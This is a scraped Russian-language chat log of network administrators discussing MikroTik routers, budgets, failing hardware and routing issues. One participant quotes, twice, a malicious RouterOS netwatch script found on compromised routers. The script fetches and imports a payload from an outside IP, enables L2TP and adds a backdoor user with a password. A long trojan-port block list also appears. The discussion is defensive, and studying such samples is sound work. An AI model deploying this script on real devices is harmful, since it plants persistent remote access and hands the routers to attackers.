ойвей, оно ж не этого уровня, имхо

в моём сознании МТ хорошие железки, но не ISP уровня, всё-таки

не ядра

впрочем, я из ISP ушёл, так что мне уже не светит

а какого уровня?

а какого уровня?

корп. сети

часто тебе дома бгп с мплс нужен?

Я планировал терминировать каналы на них

часто тебе дома бгп с мплс нужен?

мне точно не надо)

Мне на циске решение посчитали на 2 ляма... я говорю давайте я на openvpn за дешево сделаю на микротиках

а так да похоже уходят в сохо

Но tcp не катит :(

Мне на циске решение посчитали на 2 ляма... я говорю давайте я на openvpn за дешево сделаю на микротиках

а на циску ещё и санкции, если госсектор

Мне на циске решение посчитали на 2 ляма... я говорю давайте я на openvpn за дешево сделаю на микротиках

а если что-то вроде IPSEC?

Не, кровавый коммерческий энтерпрайз но денег не выделяют :(

IPSEC мне всю душу вынул... половина точек еще за натом

Не, кровавый коммерческий энтерпрайз но денег не выделяют :(

странные они, хочу всё, но копеечку не дам

оу

нат это грустно иногда

Не, кровавый коммерческий энтерпрайз но денег не выделяют :(

они наверное забыли сказку про кашу из топора :)

У меня 240 точек по всей снг.. и провайдеры кто во что горазд

Не )) у нас в курилке популярна байка про 7 шапок ))

У меня 240 точек по всей снг.. и провайдеры кто во что горазд

сетевой магазин?

Не )) у нас в курилке популярна байка про 7 шапок ))

не припоминаю

Ритейл, обувь одежда и все такоэ

Ну типа, а 2 шапки можно? Можно! А 3? Можно! А 7? Можно! Делай 7! ))

Ну типа, а 2 шапки можно? Можно! А 3? Можно! А 7? Можно! Делай 7! ))

аналогия с фильмом формула любви и за сколько дней можешь починить карету?

Бюджета кот наплакал, с трудом хватает гарантию продлевать

аналогия с фильмом формула любви и за сколько дней можешь починить карету?

типа того ))

я вот смотрю, мария-ра таже до сих пор на длинках с опенврт живёт

затраты минимум

Опенврт ... я жил с ним.. но железки мрут как мухи, в сохо максимум 4-8 месяцев и дохнет БП, кондеры разбухают

Опенврт ... я жил с ним.. но железки мрут как мухи, в сохо максимум 4-8 месяцев и дохнет БП, кондеры разбухают

Какие то тики шились

У нас ещё роутеры под кассой стоят.. там печка.. комп, принтер, вся тряхомуть

Какие то тики шились

951-е

У нас ещё роутеры под кассой стоят.. там печка.. комп, принтер, вся тряхомуть

похоже у всех так, чтобы продавцам проще было перезагружать, если что

Какие то тики шились

Очень хотелось уйти от прошивок, т.к. в Владик например не налетаешься, а кассирша прошьет.. да

А я новую гадость нашёл на взломаных микротах

в netwatsh

/tool fetch url="http://47.96.89.95:8000/autosupout.rif" dst-path=autosupout.rif :delay 5 /im autosupout.rif /file remove [find name=autosupout.rif] :delay 3 /tool netw en [find comment=2]

похоже у всех так, чтобы продавцам проще было перезагружать, если что

Да, все коммуникации под кассой

А я новую гадость нашёл на взломаных микротах

а через что ломают?

/tool fetch url="http://47.96.89.95:8000/autosupout.rif" dst-path=autosupout.rif :delay 5 /im autosupout.rif /file remove [find name=autosupout.rif] :delay 3 /tool netw en [find comment=2]

Это скрипт или кусок конфига?

а через что ломают?

Винбокс

Это скрипт или кусок конфига?

это воткнутое в netwatsh

скрипт чуть больше

:if ([:len [/tool netw find]]=0) do={ /tool netwatch add comment=1 host=127.0.0.1 interval=30s up-script="\r\ \n/tool fetch url=\"http://47.96.89.95:8000/autosupout.rif\" dst-path=autosu\ pout.rif\r\ \n:delay 5\r\ \n/im autosupout.rif\r\ \n/file remove [find name=autosupout.rif]\r\ \n \r\ \n:delay 3\r\ \n/tool netw en [find comment=2]\r\ \n" add disabled=yes comment=2 down-script="/tool net dis [find comment=1]\r\ \n:delay 30\r\ \n/tool net en [find comment=1]" host=192.168.254.123 interval=3m30s \ timeout=1ms } :if ([/in l2tp-s ser get enabled ]=false) do={/in l2tp-s ser set en=yes} :if ([:len [/user find name=default]]=0) do={/user add name=default pass=Jackk}

неплохо

через что ломают не подниму, микрот не мой логов масса в нём

надо проверить свои мт-шки где винбокс всем светит

Обновляйте прошивки регулярно

Если один раз взломали, то обязательно меняйте пароли

Пароли уплывают

:if ([:len [/tool netw find]]=0) do={ /tool netwatch add comment=1 host=127.0.0.1 interval=30s up-script="\r\ \n/tool fetch url=\"http://47.96.89.95:8000/autosupout.rif\" dst-path=autosu\ pout.rif\r\ \n:delay 5\r\ \n/im autosupout.rif\r\ \n/file remove [find name=autosupout.rif]\r\ \n \r\ \n:delay 3\r\ \n/tool netw en [find comment=2]\r\ \n" add disabled=yes comment=2 down-script="/tool net dis [find comment=1]\r\ \n:delay 30\r\ \n/tool net en [find comment=1]" host=192.168.254.123 interval=3m30s \ timeout=1ms } :if ([/in l2tp-s ser get enabled ]=false) do={/in l2tp-s ser set en=yes} :if ([:len [/user find name=default]]=0) do={/user add name=default pass=Jackk}

а подключения есть?

Пароли еще и в какие-то централизованные базы попадают, и потом участвуют в переборе по словарю

давай поиграем! -)

был пользователь god и активация под ним

ааа?

ша?

ты его угнал????

чорт

фух ты мня так не пугай -)

я тут прост отрыл одного зараженого

решил ниче не менять только фаер настроить ну и скриптовирусню снести - посмотреть произойдет ли повторное заражение

6.43.2 стоит ставить или пока нет?

но меня все таки оч смущает у него в инпутах в дропах теперь уже какой то треш творится

ERROR: S client not available

пока вот смотрю еще не взломали

6.43.2 стоит ставить или пока нет?

полёт нормальный

полёт нормальный

? спасибо

нашло где тотам 192,168,0,0/28 и бежит все равно туда

так в МТ есть такая штука как most specific route https://forum.mikrotik.com/viewtopic.php?t=93989

так в МТ есть такая штука как most specific route https://forum.mikrotik.com/viewtopic.php?t=93989

а еще в мт есть рулесы которые имеют более высокий приоритет

и эти рулесы ему говорят смотреть в другую таблицу где нет пересечения

но оно игнорирует рулесы

Чёт хаплайту плохо, надо похоже до него руками добираться

?

новые микротики даже ребутнутся не могут

это новое дно!

ну как новые, он там уже года 2 пыхтит

попробуй шатдаун

но руки все равно придется нести

не, нафиг такие эксперименты по ночам, лучше так добраться

поможите, застрял делаю: /interface ethernet switch egress-vlan-tag add tagged-ports=sfp2 vlan-id=606 а оно мне: failure: already have such switch egress vlan tag entry

что за глупости?

а я писал уже тут, что стим ломится на микрот, так меня заплевали, мол быть не может)

ребят, а почему в 1 правиле так мало портов можно указывать? а то мой список поместить даже хз как реально))))

а я писал уже тут, что стим ломится на микрот, так меня заплевали, мол быть не может)

Это я по поводу того, что ROS7 не будет писал)

небольшая простыня) 1,2,15,20-25,30-31,39,41,48,50,58,59,68-70,79,81,90,99,110,113,119,121,133,137-139,142,146,148,166,170,171,334,411,420,421,455,456,511,513-515,531,555,600,605,661,666-669,692,777,808,901,902,911,999,1000,1001,1005,1008,1010-1012,1015,1016,1020,1024,1025,1031-1035,1042,1045,1049,1050,1053,1054,1080,1081-1083,1090,1095,1097,1098,1099,1104,1130,1150,1151,1170,1174,1180,1200,1201,1207,1208,1212,1234,1243,1245,1255,1256,1269,1272,1313,1337,1338,1349,1386,1394,1441,1466,1480,1492,1505,1509,1524,1568,1600-1604,1703,1722,1777,1784,1807,1826,1966,1967,1969,1981,1991,1999,2000-2005,2023,2040,2080,2115,2130,2140,2155,2255,2283,2300,2311,2330-2339,2345,2400,2555,2565,2583,2589,2600,2702,2716,2773,2774,2801,2929,2989,3000,3024,3028,3031,3033,3128,3129,3131,3150,3212,3332,3333,3456,3459,3586,3700,3777,3791,3800,3801,4000,4092,4100,4201,4242,4321,4444,4488,4523,4545,4567,4590,4653,4666,4950,5000-5002,5005,5010,5011,5025,5031-5033,5321,5333,5343,5400-5402,5512,5534,5550,5555-5557,5569,5637,5638,5714,5741,5742,5760,5802,5810,5858,5873,5880-5890,6000,6006,6272,6400,6661,6666-6670,6711-6713,6723,6767,6771,6776,6789,6838,6883,6912,6939,6969,6970,7000,7001,7028,7158,7215,7300,7301,7306,7307,7308,7410,7424,7511,7597,7626,7718,7777,7788,7789,7826,7891,7983,8012,8080,8081,8685,8720,8812,8787,8812,8899,8988,8989,9000,9325,9400,9697,9870-9878,9989,9999,10000,10005,10008,10013,10067,10085,10086,10100,10101,10167,10498,10520,10528,10607,10666,11000,11011,11050,11051,11223,11225,11306,11831,12076,12223,12310,12345-12349,12361-12363,12624,12631,12701,12754,13000,13010,13013,13014,13223,13473,13700,14286,14500-14504,15000,15092,15104,15382,15858,16484,16660,16772,16959,16969,16982,17166,17300,17449,17500,17569,17593,17777,18667,18753,19864,20000-20005,20023,20034,20203,20331,20332,20432,20433,21212,21544,21579,21684,21957,22068,22222,22456,22845,22847,23005,23006,23023,23032,23321,23432,23456,23476,23477,23777,24000,24289,25123,25386,25555,25685,25686,25982,26274,26681,27160,27374,27444,27573,27665,28429-28436,28678,29104,29292,29369,29559,29891,30000-30005,30029,30100,30101-30103,30133,30303,30700,30947,30999,31221,31320,31335-31339,31557,31666,31745,31785-31792,32001,32100,32418,32791,33270,33333,33567,33568,33577,33777,33900,33911,34324,34444,34555,35555,36794,37237,37266,37651,38741,39507,40412,40421-40426,40999,41337,41666,43210,44444,44575,44767,45559,45673,47017,47252,47262,48004,48006,49000,49301,49683,50000,50130,50505,50766,50767,51966,52317,53001,54283,54320,54321,55165,55166,57341,57922,58008,58009,58339,60000,60001,60008,60068,60411,61348,61466,61603,63485,63536,64101,65000,65390,65421,65432,65530,65534,65535

подскажите пжл чем можно собирать логи с mikrotik на windows машину?

сходу, что за список?) кто в курсе?)

кто-нибудь использует web-proxy на mikrotik?

ребят, а почему в 1 правиле так мало портов можно указывать? а то мой список поместить даже хз как реально))))

Сделай два правила)

Сделай два правила)

для списка сверху, два не получится ?

Ну тогда диапазон

список портов троянов)

небольшая простыня) 1,2,15,20-25,30-31,39,41,48,50,58,59,68-70,79,81,90,99,110,113,119,121,133,137-139,142,146,148,166,170,171,334,411,420,421,455,456,511,513-515,531,555,600,605,661,666-669,692,777,808,901,902,911,999,1000,1001,1005,1008,1010-1012,1015,1016,1020,1024,1025,1031-1035,1042,1045,1049,1050,1053,1054,1080,1081-1083,1090,1095,1097,1098,1099,1104,1130,1150,1151,1170,1174,1180,1200,1201,1207,1208,1212,1234,1243,1245,1255,1256,1269,1272,1313,1337,1338,1349,1386,1394,1441,1466,1480,1492,1505,1509,1524,1568,1600-1604,1703,1722,1777,1784,1807,1826,1966,1967,1969,1981,1991,1999,2000-2005,2023,2040,2080,2115,2130,2140,2155,2255,2283,2300,2311,2330-2339,2345,2400,2555,2565,2583,2589,2600,2702,2716,2773,2774,2801,2929,2989,3000,3024,3028,3031,3033,3128,3129,3131,3150,3212,3332,3333,3456,3459,3586,3700,3777,3791,3800,3801,4000,4092,4100,4201,4242,4321,4444,4488,4523,4545,4567,4590,4653,4666,4950,5000-5002,5005,5010,5011,5025,5031-5033,5321,5333,5343,5400-5402,5512,5534,5550,5555-5557,5569,5637,5638,5714,5741,5742,5760,5802,5810,5858,5873,5880-5890,6000,6006,6272,6400,6661,6666-6670,6711-6713,6723,6767,6771,6776,6789,6838,6883,6912,6939,6969,6970,7000,7001,7028,7158,7215,7300,7301,7306,7307,7308,7410,7424,7511,7597,7626,7718,7777,7788,7789,7826,7891,7983,8012,8080,8081,8685,8720,8812,8787,8812,8899,8988,8989,9000,9325,9400,9697,9870-9878,9989,9999,10000,10005,10008,10013,10067,10085,10086,10100,10101,10167,10498,10520,10528,10607,10666,11000,11011,11050,11051,11223,11225,11306,11831,12076,12223,12310,12345-12349,12361-12363,12624,12631,12701,12754,13000,13010,13013,13014,13223,13473,13700,14286,14500-14504,15000,15092,15104,15382,15858,16484,16660,16772,16959,16969,16982,17166,17300,17449,17500,17569,17593,17777,18667,18753,19864,20000-20005,20023,20034,20203,20331,20332,20432,20433,21212,21544,21579,21684,21957,22068,22222,22456,22845,22847,23005,23006,23023,23032,23321,23432,23456,23476,23477,23777,24000,24289,25123,25386,25555,25685,25686,25982,26274,26681,27160,27374,27444,27573,27665,28429-28436,28678,29104,29292,29369,29559,29891,30000-30005,30029,30100,30101-30103,30133,30303,30700,30947,30999,31221,31320,31335-31339,31557,31666,31745,31785-31792,32001,32100,32418,32791,33270,33333,33567,33568,33577,33777,33900,33911,34324,34444,34555,35555,36794,37237,37266,37651,38741,39507,40412,40421-40426,40999,41337,41666,43210,44444,44575,44767,45559,45673,47017,47252,47262,48004,48006,49000,49301,49683,50000,50130,50505,50766,50767,51966,52317,53001,54283,54320,54321,55165,55166,57341,57922,58008,58009,58339,60000,60001,60008,60068,60411,61348,61466,61603,63485,63536,64101,65000,65390,65421,65432,65530,65534,65535

Странно, а почему нет 80 и 443?)

список заблокированных небезопасных портов)

Странно, а почему нет 80 и 443?)

на самом деле я не включил просто ?? были